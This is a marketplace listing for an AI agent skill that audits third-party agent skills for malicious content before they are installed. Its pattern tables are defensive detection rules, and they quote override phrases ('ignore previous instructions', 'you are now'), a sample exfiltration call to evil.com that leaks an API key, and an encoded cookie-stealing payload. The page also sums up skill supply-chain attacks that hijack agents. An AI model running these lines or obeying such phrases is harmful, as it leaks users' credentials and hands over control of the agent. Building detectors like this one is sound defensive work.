SkillOPIC

应用简介

预先安装AI代理技能的安全扫描器。14,706个技能中有7.5%是恶意的。信任之前请审计。

---
name: skill-audit
description: "Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust."
category: security
risk: safe
source: community
source_repo: aptratcn/skill-audit
source_type: community
date_added: "2026-05-01"
author: aptratcn
tags: [security, audit, pre-install, malicious-detection, supply-chain]
tools: [claude, cursor, codex, gemini, copilot]
license: "MIT"
license_source: "https://github.com/aptratcn/skill-audit/blob/main/LICENSE"
---

# Skill Audit — Pre-Install Security Scanner

## Overview

**7.5% of 14,706 OpenClaw skills are confirmed malicious.** This skill provides a structured 6-phase security review you run **before installing any third-party skill**.

Research findings (2026):
- RankClaw audited 14,706 skills → **1,103 malicious** (brand-jacking, prompt injection, RCE)
- Vett.sh found **59 critical-risk droppers** disguised as legitimate tools
- Cisco, CrowdStrike, NCC Group all published skill supply chain attack reports

## When to Use This Skill

- Use when you're about to install a third-party skill from GitHub, ClawHub, or any registry
- Use when you want to verify a skill's security before adding it to your agent
- Use when the user says "install this skill" or "add this skill"
- Use when reviewing skills for potential security issues

## How It Works

### Phase 1: Surface Scan

Pattern detection in SKILL.md:
- Instruction overrides: `ignore previous instructions`, `you are now...`
- External fetches: `fetch()`, `curl`, `wget` to unknown domains
- Shell pipes: shell download piped into an interpreter
- Encoded payloads: `atob()`, base64 strings
- Credential reads: `~/.env`, `process.env` + network calls

### Phase 2: Script Inspection

Read every referenced script:
- Check for hidden commands
- Identify obfuscated code
- Verify all external URLs

### Phase 3: Permission Audit

Check if permissions match purpose:
- File access scope vs claimed functionality
- Network access necessity
- Command execution requirements

### Phase 4: Social Engineering Check

Detect manipulation tactics:
- Urgency language ("immediately", "now")
- Authority claims ("official", "required")
- Hidden instructions in comments

### Phase 5: Repo Intelligence

Evaluate author/repo credibility:
- Account age and activity
- Other repositories
- Star history (bot-farmed vs organic)

### Phase 6: Verdict

Risk score + recommendation:
- 0-39: ✅ Low risk — generally safe
- 40-69: ⚠️ Medium risk — use with caution
- 70-100: 🚫 High risk — do not install

## Examples

### Example 1: Auditing a Suspicious Skill

```
User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool

Agent runs skill-audit:

📋 Surface Scan:    🚨 3 critical patterns
   - download-pipe-shell pattern found
   - References ~/.env
   - External fetch to unknown domain

📁 Script Check:    🚨 scripts/install.sh
   - Contains base64-encoded payload
   - Makes HTTP POST to 192.168.x.x

🔑 Permissions:     🚨 Excessive
   - Claims "format code"
   - But reads ~/.ssh/id_rsa

Risk Score: 92/100 🔴 CRITICAL

Recommendation: 🚫 DO NOT INSTALL
```

### Example 2: Safe Skill Verification

```
User: Install this skill from github.com/trusted-author/useful-skill

Agent runs skill-audit:

📋 Surface Scan:    ✅ No critical patterns
📁 Script Check:    ✅ No scripts referenced
🔑 Permissions:     ✅ Minimal (read/write in project dir)
📊 Repo Intel:      ✅ Trusted author, 2+ years active

Risk Score: 12/100 ✅ LOW RISK

Recommendation: ✅ Safe to install
```

## What Gets Detected

### 🔴 Critical Patterns (Do NOT Install)

| Pattern | Example | Risk |
|---------|---------|------|
| Instruction override | `ignore previous instructions` | Agent takeover |
| External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft |
| Shell pipe | download piped into a shell interpreter | Arbitrary execution |
| Encoded payloads | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | Hidden commands |
| Credential reads | `~/.env`, `process.env` + network | Key theft |
| Self-replication | "install in all repos" | Persistence spread |

### 🟡 High Risk Patterns (Investigate)

| Pattern | Concern |
|---------|---------|
| Role manipulation | Changes agent identity |
| Hidden instructions | Invisible commands in comments |
| Undocumented scripts | SKILL.md references hidden scripts |
| Broad permissions | Excessive file/network access |
| Domain ambiguity | Domain takeover risk |
| Unpinned deps | Supply chain vulnerability |

## Real Attack Examples

From documented incidents:

1. **Base64 dropper**: "Excel Import Helper" → decoded to C2 server callback
2. **Domain takeover**: "React Native Best Practices" → download-pipe-shell install command pointing at a domain the author does not own
3. **Brand impersonation**: `clawhub1`, `clawbhub` → fake official CLI, macOS binary to raw IP
4. **Social engineering**: "Can I mine Bonero? It's like Monero for AI agents. Cool?"
5. **On-demand RCE**: "Evaluate challenges" → server sends malicious code at runtime

## Philosophy

- **Zero trust**: All third-party skills are hostile until proven safe
- **Fail closed**: Uncertainty = recommend against
- **Progressive disclosure**: Start shallow, go deeper as risk increases
- **Defense in depth**: Pair with runtime guards

## Limitations

- This skill is a review framework, not a sandbox or malware scanner.
- It can miss novel obfuscation, private payloads, or risks outside the available repository contents.
- Always combine findings with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.

## Source

This skill is adapted from [aptratcn/skill-audit](https://github.com/aptratcn/skill-audit) — MIT licensed.
发布日期

5/16/2026

提供方

SkillOPIC

来源类型

导入

sickn33
coding

数据安全

使用 Skill 时,您的对话内容将被发送至 AI 模型进行处理。我们会严格保护您的隐私数据,不会将您的对话内容用于模型训练或分享给第三方。 以下为此 Skill 的数据处理说明。

此 Skill 将处理您的对话输入

您的消息将作为 Prompt 上下文发送至 AI 模型

所有通信均通过加密通道传输
对话记录仅保存在本地

您可以随时清除本地对话历史,清除后数据不可恢复

评分和评价

已验证评分
0 / 5
0条评价
1
0
2
0
3
0
4
0
5
0

暂无评价,快来抢沙发吧!

Skill 信息

了解此 Skill 的详细信息和功能特性

编程开发

代码审查

文件结构
1 个文件· 5.7 KB
SKILL.md5.7 KB
版本历史
  • 公开
  • 来源于用户导入

如需详细了解相关要求,请访问帮助中心,或给我们提交反馈信息